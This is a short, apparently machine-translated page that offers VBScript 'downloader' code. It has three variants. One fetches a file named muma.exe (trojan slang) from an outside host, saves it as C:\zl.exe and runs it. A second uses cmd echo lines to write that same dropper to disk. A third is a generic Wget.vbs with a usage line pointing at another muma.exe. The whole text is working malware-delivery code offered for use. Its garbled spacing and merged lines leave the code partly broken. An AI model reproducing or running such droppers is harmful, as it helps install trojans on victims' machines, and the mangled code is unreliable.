VBS downloaded by

One, VBS downloader: Set Post = CreateObject ("Msxml2.xmlhttp") Set Shell = CreateObject ("Wscript.Shell") Post.open "GET", "/HTTP/ Www.03389.com/muma.exe ", 0post.send () Set Aget = CreateObject (" ADODB. Stream ") Aget.mode = 3aget.type = 1aget.open () aget.write (post.responsebody) aget.savetofile" C:\zl.exe ", 2wscript.sleep 1000shell.run ("C:\zl.exe") ' deferred after execution of download file II, cmd execution version: Echo Set Post = CreateObject ("Msxml2.xmlhttp") > >zl.vbsecho Set Shell = CreateObject ("Wscript.Shell") >>zl.vbsecho Post.open "GET", "http://www.03389.com/ Muma.exe ", 0 >>zl.vbsecho post.send () >>zl.vbsecho Set aget = CreateObject (" ADODB ". Stream ") >>zl.vbsecho Aget.mode = 3 >>zl.vbsecho aget.type = 1 >>zl.vbsecho aget.open () >>zl.vbse Cho aget.write (post.responsebody) >>zl.vbsecho aget.savetofile "C:\zl.exe", 2 >>zl.vbsecho Wscript.Sleep >>zl.vbsecho Shell.run ("C:\zl.exe") >>zl.vbs third, Wget.vbson Error Resume Nextilocal=lcase ( WScript.Arguments (1)) Iremote=lcase (wscript.argumenTS (0)) Iuser=lcase (WScript.Arguments (2)) Ipass=lcase (WScript.Arguments (3)) Set Xpost=createobject (" Microsoft.XMLHTTP ") If Iuser=" "and ipass=" "Thenxpost.open" get ", Iremote,0elsexpost.open" get ", Iremote,0,iuser, Ipassend ifxpost.send () Set Sget=createobject ("ADODB. Stream ") Sget.mode=3sget.type=1sget.open () Sget.write xPost.ResponseBodysGet.SaveToFile ilocal,2 method of use: cscript Wget.vbs Http://www.moonsec.com/muma.exe

VBS DOWNLOADER